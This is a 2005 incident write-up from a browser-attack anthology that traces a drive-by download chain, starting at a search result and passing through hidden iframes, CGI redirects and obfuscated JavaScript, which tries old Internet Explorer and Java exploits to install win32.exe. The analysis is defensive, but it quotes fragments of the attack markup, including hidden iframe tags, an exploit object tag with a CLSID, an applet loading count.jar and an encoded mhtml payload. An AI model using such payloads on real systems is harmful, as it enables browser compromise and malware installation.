Classic Trimode

Back Home

Last Updated: Friday December 30, 2005

Michael Ligh (

This document is part of the Browser Attacks Anthology

A user's Anti-virus detected Java/ByteVerify!exploit in a file named count.jar, which resided in the Java cache on disk. Byteverify can be seen in action by reading either Turning JPEGs Into DLLs or Tri-Mode Browser Exploits. This is simply another case of a widespread spyware distribution cloud and improper usage of search engine technology. In another report we will discuss the controversy over poor filtering of query results by search engines and their perceived necessity to return even pages that guarantee an infection if the user clicks it. This event is a classic tri-mode that was unsuccessful due to the use of Firefox and patched workstations.

The event started with a search for “smashing pumpkins” on One of the returned results pointed to

Wed Dec 28 17:31:32 2005         810    419 x.x.x.14 TCP_MISS/200 34613 GET -
DIRECT/ text/html

At the very bottom of this page, an Iframe pulls down malicious content from an address in the Ukraine (the same country as ISC most hated IP network, but a separate range).

[iframe src="" width="1" height="1"]

inetnum: -
netname:        inhoster
descr:          Inhoster hosting company
descr:          OOO Inhoster, Poltavskij Shliax 24, Kharkiv, 61000, Ukraine

The nan69.html file contained only a bit of code, but enough to keep the exploit rolling. This page itself uses an iframe (can we say redundant?) to pull content from another machine on the same Ukraine network. The height and width of the iframe is set to 0 pixels so that it doens't produce any overt traces on the user's screen.

[iframe src="" name="frame1" id="fr1" scrolling="auto" frameborder="no" align="center" height = "0px" width = "0px"][/iframe]

The server at must have a CGI index page that accepts parameters and generates output for further redirection. The script returns a 302 Moved Temporarily message and directs the browser to yet another Ukraine address to download count.php

# wget ""
           => `index.html?to=nan69&from=in'
Connecting to connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: [following]
           => `count.php?id=nan69'
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
    [ [=]                                                                                                               ] 3,082         --.--K/s
10:50:34 (37.55 KB/s) - `count.php?id=nan69' saved [3082]

So count.php is interesting and contains quite a bit of obfuscation. Javascript within the file initializes a string variable by the name of GM with approximately 214 Unicode characters. The unescape() function translates this into readable text and it's then sent to the browser as output using the document.write() method. Then apparently a function dF() is executed with a large number of unreadable text as a parameter. Knowing that functions can alter a program's flow of execution, we can't be so certain of the order yet.

[script language=javascript]

My favorite method, which I've used over and over, is to just replace the document.write() function with the alert() function and then open the page in a safe environment. The result of unescape(GM) should be printed to the screen for evaluation.

function dF(s) {
  var s1=unescape(s.substr(0,s.length-1));
  var t='';

Now we know that the output of unescape(GM) is just a function itself and will not execute before the dF() function. The output of unescape(GM) is the dF() function. When all of this is generated once again, the obfusctaion algorithm is much easier to read:

  o=new Array();
  document.write('[object classid="[CLSID]"][\/object]');

Judging by the classid (CLSID EC444CB6-3E7E-4865-B1C3 0DE72EF39B3F), this code attempts to access the Msdds.dll COM object in order to exploit MS05-052. The user would need to be browsing with Internet Explorer in order to be affected, which was not the case in this event. That's quite alright, though, because there are many other tricks yet to encounter.

The user's browser is still rendering content from the original access of The_Smashing_Pumpkins_01.shtml from the site. That's right – all of the above interaction is taking place before the page is fully displayed to the user. During render of the remaining content, the browser is forced to access: 

Just as before, the CGI returns a new page based on the arguments of the request. In this manner, the vacancy in the web page is filled with content from an arbitrary source each time the page is accessed or refreshed. Ultimately, the browser pulls content from a page (domain.html) on, which currently points to an IP in Great Britian. Here is the contents of the file:

[head><title> Sliv traffa [/title][/head]
[iframe src='' width=1 height=1][/iframe]

Very quickly, the browser circus marches back into the Ukraine. The absense of a filename to access in the /038 directory means that we'll likely be served the default index page, which in this case was index.html. However, just a few hours after the page returned an HTTP 200 status, it returned a 404 error as File Not Found:

[TITLE]404 Not Found[/TITLE]
[H1]Not Found[/H1]
The requested URL /adv/038/ was not found on this server.[P]

Out of curiosity, I did a subsequent check for /040, the next directory in numerical sequence. That seemed to work just fine and I got a copy of index.html. This is interesting because not only is there dynamic content out there that adjusts the directory paths to access, but the server is well coordinated in the effort. It knows what and when users should be accessing which paths.

The index page contained a total of fifteen document.write() statements, shown in shorted form below. Unicode characters were passed to the unescape() function again, just like before.

[SCRIPT LANGUAGE="javascript" TYPE="text/javascript"]

After gathering the values, it became clear that this is nothing more than a classic trimode.

* {CURSOR: url(\"\")}
[APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1]
document.write('[object data=`&#109&#115&#45&#105&#116&#115&#58&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58&#47&#47&#67&#58&#92&#102;o'+'o.mht!'+'htt
p://'+'m::/targ'+'et.htm` type=`text/x-scriptlet`][/ob'+'ject]');

The code tries to force download of sploit.anr, which exploits the MS05-002 vulnerability. The applet archive code for count.jar exploits MS03-011 to gather the payload of win32.exe (from the same Ukranian network of course) and execute it on the system after gaining eve lated privileges. Lastly it uses the MS04-013 vulnerability to fetch targ.chm The CHM file has a solitary purpose – download and execute win32.exe.

We know these attempts were not successful, because the user was browsing with Firefox. Also, there were no subsequent requests for sploit.anr, win32.exe, or targ.chm in the proxy logs.